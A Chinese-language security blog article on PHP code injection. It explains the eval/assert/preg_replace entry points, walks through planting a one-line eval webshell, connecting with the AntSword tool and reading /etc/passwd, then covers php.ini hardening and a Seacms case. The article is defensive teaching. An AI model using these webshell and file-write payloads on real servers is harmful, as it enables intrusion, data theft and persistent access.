ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

PHP代码注入攻防实战:从eval到蚁剑拿shell与防御加固

PHP代码注入攻防实战:从eval到蚁剑拿shell与防御加固

1. 从一个被忽略的入口说起:PHP代码注入到底在防什么

很多做Web开发的朋友一听到“代码注入”,第一反应是SQL注入,觉得只要把数据库查询参数化就万事大吉。但实际做安全审计的时候,我见过太多案例,真正的口子不在数据库那一层,而在PHP自己身上——攻击者压根没碰你的数据库,直接在你的服务器上执行了他想要的代码。这就是PHP代码注入,它和SQL注入、XSS并列,属于OWASP TOP 10里长期霸榜的高危风险类别。

先把概念说清楚。PHP代码注入,指的是应用程序把用户可控的输入,在没有经过严格过滤的情况下,拼接进了会被PHP解释器执行的代码上下文里,导致攻击者能够注入并执行任意PHP代码。注意这里的关键词是“执行”——不是读取,不是篡改,而是让服务器按照攻击者的意愿跑代码。一旦成功,攻击者拿到的权限等同于Web服务进程的权限,能读写文件、能反弹shell、能横向渗透内网,危害等级直接拉满。

它和另外两个容易混淆的概念要区分开。代码注入是注入PHP代码本身,比如eval、assert、preg_replace的/e修饰符、create_function这些函数被滥用;命令执行是注入系统命令,走的是system、exec、shell_exec、反引号这些通道;文件包含则是通过include、require把攻击者控制的文件拉进来执行。三者经常组合出现,但触发点和防御思路不完全一样,本文聚焦在代码注入这条线上。

这篇文章适合谁看?如果你是刚接触Web安全的初学者,想搞明白代码注入从原理到利用的完整链路,那这篇可以当作入门到进阶的路线图;如果你是有开发经验的工程师,想搞清楚自己的代码里哪些写法是雷区,那防御章节和Seacms实战分析部分会对你有直接帮助。我会从注入的几种典型方式讲起,然后完整走一遍漏洞利用的流程——包括用中国蚁剑获取shell、定位文件路径、读写文件,再讲防御方法,最后拿Seacms这个经典案例做一次完整的代码注入复盘。全程都是可复现的操作思路,不是纸上谈兵。

提示:本文所有技术内容仅用于安全学习、漏洞研究和防御加固,请勿用于任何未经授权的测试环境。实际测试务必在自己搭建的靶场或获得书面授权的目标上进行。

2. 代码注入的几种典型入口:从eval到preg_replace的/e

要理解代码注入,得先知道攻击者的“注入点”长什么样。PHP里能执行代码的函数和语法结构不少,每一种对应一种注入方式,下面按危险程度和常见程度逐个拆解。

2.1 eval与assert:最直接的代码执行通道

eval()是PHP里最直白的代码执行函数,它把传入的字符串当作PHP代码来执行。写法上eval('echo 1;')和直接写echo 1;效果一样,区别在于前者接受的是字符串。如果这个字符串里拼接了用户输入,比如eval('echo '.$_GET['x'].';'),攻击者传入x=1;phpinfo();//,实际执行的就变成了echo 1;phpinfo();//;,phpinfo()就被执行了。

assert()在PHP 7之前也支持字符串参数并执行,行为类似eval。PHP 7之后assert变成了语言结构,字符串参数不再执行代码,但老版本系统里依然是重灾区。这两个函数的共同点是:只要参数可控,就等于把代码执行权交出去了。

2.2 preg_replace的/e修饰符:正则替换里的隐藏后门

preg_replace本身是做正则替换的,但加上/e修饰符后,替换后的结果会被当作PHP代码执行。这是PHP 5.5之前的一个经典漏洞点。举个例子:

$input = $_GET['code']; preg_replace('/test/e', $input, 'test');

攻击者传入code=phpinfo(),替换后phpinfo()就被执行了。这个修饰符在PHP 5.5被标记废弃,PHP 7.0彻底移除,但很多老系统还在跑PHP 5.x,所以审计时看到/e就要高度警惕。

2.3 create_function与回调函数:被忽视的执行面

create_function($args, $code)在内部用的就是eval,PHP 7.2废弃、8.0移除。类似的还有array_map、usort、call_user_func这些回调函数,如果回调的callable来自用户输入,同样能触发代码执行。比如call_user_func($_GET['func'], $arg),攻击者传func=assert配合参数就能执行代码。

2.4 文件包含配合伪协议:间接的代码注入

严格说文件包含是独立的一类,但它经常和代码注入组合使用。include($_GET['file'])如果没做白名单,攻击者可以用php://input、data://这类伪协议把代码直接喂进去执行。比如?file=data://text/plain,<?php phpinfo();?>,代码就被包含了。

下面这张表把几种注入方式的关键特征做个对照,方便审计时快速定位:

注入方式触发函数/语法典型版本危险等级
eval注入eval()全版本极高
assert注入assert()PHP 7以下极高
正则/e注入preg_replace /ePHP 5.5以下高
回调注入call_user_func等全版本高
文件包含注入include/require全版本高

理解这些入口之后,你会发现代码注入的本质不是某个函数的锅,而是“用户输入进入了代码执行上下文”这个模式。防御的核心思路也就清晰了:要么切断输入到执行的路径,要么让执行的内容不可控。

3. 漏洞利用全流程:从蚁剑拿shell到文件读写

光知道原理不够,得走一遍完整的利用链路,才能理解攻击者到底怎么把一个小口子变成服务器控制权。这一节我按实际操作顺序,把获取shell、定位路径、读写文件这几个环节串起来讲。

3.1 用中国蚁剑获取shell的完整过程

中国蚁剑是一款开源的Webshell管理工具,图形化界面,支持多种编码器和插件,是安全测试中常用的工具。假设我们已经通过代码注入点能执行任意PHP代码,接下来就是把它变成一个稳定的shell。

第一步,构造一句话木马。最经典的写法是<?php @eval($_POST['cmd']);?>,通过POST参数cmd传入要执行的代码。但直接写文件容易被查杀,实际测试中常用变体,比如用assert、create_function,或者做字符串拼接绕过关键字检测。

第二步,通过注入点把木马写入Web目录。假设注入点能执行file_put_contents,可以这样构造:

file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]);?>');

如果注入点只能执行表达式,可以用fputs(fopen(...))这类组合。写入成功后,访问http://target/shell.php,如果返回正常,说明木马落地了。

第三步,打开中国蚁剑,右键添加数据,URL填http://target/shell.php,密码填cmd,编码器选默认的base64或chr。连接成功后,就能在图形界面里浏览目录、执行命令、上传下载文件。

这里有个实操细节:蚁剑连接时如果返回“数据为空”或乱码,多半是编码器不匹配。可以换用chr编码器,或者检查木马里的参数名是否和蚁剑里填的一致。另外,有些环境禁用了eval,可以换成assert或preg_replace的变体。

3.2 获取文件路径:为什么这一步经常卡住

拿到shell之前,很多时候我们并不知道网站的绝对路径,而写木马必须用绝对路径。获取路径有几种常用手段。

第一种,通过报错信息泄露。访问一个不存在的文件,或者触发PHP警告,报错里通常会带/var/www/html/...这样的完整路径。前提是display_errors开着。

第二种,通过phpinfo()。如果注入点能执行phpinfo(),直接搜DOCUMENT_ROOT和SCRIPT_FILENAME,路径一目了然。

第三种,通过预定义变量。__FILE__、__DIR__、$_SERVER['DOCUMENT_ROOT']、$_SERVER['SCRIPT_FILENAME']都能给出路径信息。比如注入echo __FILE__;就能拿到当前文件的绝对路径。

第四种,通过读取配置文件。很多CMS的配置文件里写死了路径,比如config.php、database.php,读出来就知道了。

实际操作中,我习惯先用phpinfo()确认环境,再用__FILE__定位当前脚本路径,两者结合基本能确定Web根目录。如果phpinfo被禁用,就退而求其次用报错和预定义变量。

3.3 读写文件:从信息收集到权限维持

有了路径,读写文件就是顺理成章的事。读文件用file_get_contents、fopen+fread、readfile、highlight_file、show_source都行。比如读系统密码文件:

echo file_get_contents('/etc/passwd');

写文件用file_put_contents、fopen+fwrite、fputs。写木马就是前面说的思路。除了写木马,还可以写.htaccess做重定向,写计划任务做权限维持,写SSH公钥做免密登录(如果有权限)。

这里要提醒一个常见坑:写文件失败通常是权限问题。Web进程用户(比如www-data、apache)对目标目录没有写权限,这时候要么换目录,要么先通过其他手段提权。另外,open_basedir限制也会导致跨目录读写失败,遇到这种情况得先看phpinfo里的open_basedir配置。

读写文件的能力,本质上是从“代码执行”升级到“文件系统控制”的关键一步。有了它,攻击者才能落地工具、窃取数据、维持访问。

4. 防御代码注入:从代码层到架构层的纵深思路

讲完利用,回到防御。代码注入的防御不是加一个htmlspecialchars就能解决的,得从代码规范、配置加固、架构隔离三个层面同时下手。

4.1 代码层:禁用危险函数与输入白名单

最直接的做法是禁用能执行代码的函数。在php.ini里配置disable_functions:

disable_functions = eval, assert, preg_replace, create_function, call_user_func, call_user_func_array, system, exec, shell_exec, passthru, popen, proc_open

注意eval是语言结构,disable_functions对它无效,得靠代码审计和代码规范来约束。preg_replace的/e修饰符在PHP 7已经移除,升级PHP版本是最彻底的解法。

输入处理上,核心原则是白名单优于黑名单。如果某个参数只应该是数字,就用intval强转;如果只应该是特定几个值,就用in_array校验。黑名单过滤关键字很容易被绕过,比如大小写混写、编码、拼接,防不住有心人。

4.2 配置层:收紧PHP运行环境

php.ini里几个关键配置能大幅降低风险:

  • allow_url_include = Off:禁止远程文件包含,堵住伪协议这条路。
  • open_basedir:限制PHP能访问的目录范围,即使被注入也跑不出指定目录。
  • display_errors = Off:关闭报错显示,避免路径和敏感信息泄露。
  • expose_php = Off:隐藏PHP版本信息。
  • disable_functions:按前面说的配置。

这些配置不是万能的,但能显著提高攻击成本。实际运维中,我建议把open_basedir和disable_functions作为标配,尤其是对外暴露的Web服务。

4.3 架构层:权限隔离与WAF兜底

架构层面的防御往往被忽视,但效果最好。核心思路是最小权限原则:Web进程用户只给必要的目录读写权限,绝对不要用root跑Web服务;数据库用户只给必要的库表权限;不同站点之间用独立用户隔离。

再往上,可以部署WAF做流量层拦截,识别常见的代码注入payload。但WAF是兜底,不是主力,绕过WAF的手法层出不穷,不能把安全全押在WAF上。

最后是日志和监控。记录所有异常请求,对eval、assert、system这些关键字做告警,一旦发现注入尝试能第一时间响应。安全不是一次性的配置,而是持续的过程。

5. Seacms代码注入复盘:一个经典案例的完整拆解

Seacms(海洋CMS)是国内用得比较多的一套视频CMS,历史上出过多个代码注入漏洞,非常适合拿来复盘。这里我以其中一个典型的代码注入点为例,走一遍从发现到利用再到修复的完整链路。

5.1 漏洞定位:从参数到执行点的追踪

Seacms的某些版本里,存在通过特定参数拼接进eval或类似执行上下文的写法。审计时的思路是:先找所有能执行代码的函数调用点,再回溯参数来源,看是否可控。

具体来说,搜索代码里的eval、assert、preg_replace加/e、create_function,然后看这些函数的参数是不是来自$_GET、$_POST、$_REQUEST、$_COOKIE。如果中间经过了过滤函数,还要看过滤是否严格。

在Seacms的案例里,问题出在某个模板解析或搜索功能的参数上,用户输入被拼接进了执行上下文,且过滤不严,导致可以注入代码。这类漏洞的典型特征是:功能看起来人畜无害,但底层实现用了危险的执行方式。

5.2 利用验证:构造payload与效果确认

定位到注入点后,构造payload验证。先用最简单的phpinfo()确认执行:

?param=1;phpinfo();//

如果页面输出了PHP信息,说明代码执行成功。然后逐步升级:读文件、写文件、连shell。整个过程和前面第3节讲的链路一致。

这里有个实操经验:Seacms这类CMS通常有多个参数入口,一个被过滤了可以换另一个。审计时要全面梳理,不要找到一个就停。另外,CMS的版本差异很大,同一个漏洞在不同版本的表现可能不同,测试前先确认版本号。

5.3 修复方案:官方补丁与自建加固

Seacms官方在后续版本里修复了这类漏洞,修复方式通常是:把危险的执行函数替换成安全的实现,或者对输入做严格的白名单校验。如果你在用老版本,升级是最直接的解法。

如果因为业务原因不能升级,可以自己加固:找到漏洞点,把eval改成安全的替代实现;对相关参数加白名单校验;在php.ini里禁用危险函数;部署WAF拦截相关payload。这几招组合起来,能挡住大部分自动化扫描和常见利用。

从Seacms这个案例能提炼出一个通用教训:任何把用户输入送进代码执行上下文的写法,都是定时炸弹。开发时就要避免这种模式,而不是等出了漏洞再补。

6. 我在实际审计中踩过的坑和总结的判断经验

做了这么多年代码审计和渗透测试,关于PHP代码注入,有几个经验是文档里不会写、但实际特别有用的。

第一个坑是过度依赖黑名单。我见过不少代码用str_replace过滤eval、assert这些关键字,结果攻击者用e\val、EVAL、base64编码就绕过了。黑名单永远追不上绕过手法,白名单才是正道。

第二个坑是忽视间接执行路径。很多人只盯着eval,忽略了call_user_func、array_map、usort这些回调函数,还有preg_replace的/e。审计时要把所有能触发代码执行的函数列全,逐个排查。

第三个坑是环境差异导致利用失败。同一个payload,在A环境能打通,在B环境就不行,原因可能是disable_functions配置不同、PHP版本不同、open_basedir限制不同。测试前先摸清环境,用phpinfo()或报错信息确认配置。

第四个经验是路径获取要有多套预案。phpinfo被禁了就用报错,报错被关了就用预定义变量,预定义变量拿不到就读配置文件。多准备几套方案,遇到卡壳能快速切换。

最后一个判断经验:看到用户输入直接进执行上下文,基本可以判定有漏洞。不需要复杂的分析,这个模式本身就是问题。防御的核心就是打破这个模式——要么让输入不可控,要么让执行不依赖输入。

代码注入这个话题,往深了讲能讲很多,但核心逻辑就一条:永远不要相信用户输入,永远不要让用户输入进入代码执行上下文。把这条原则落实到开发和运维的每个环节,大部分代码注入风险都能挡在门外。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进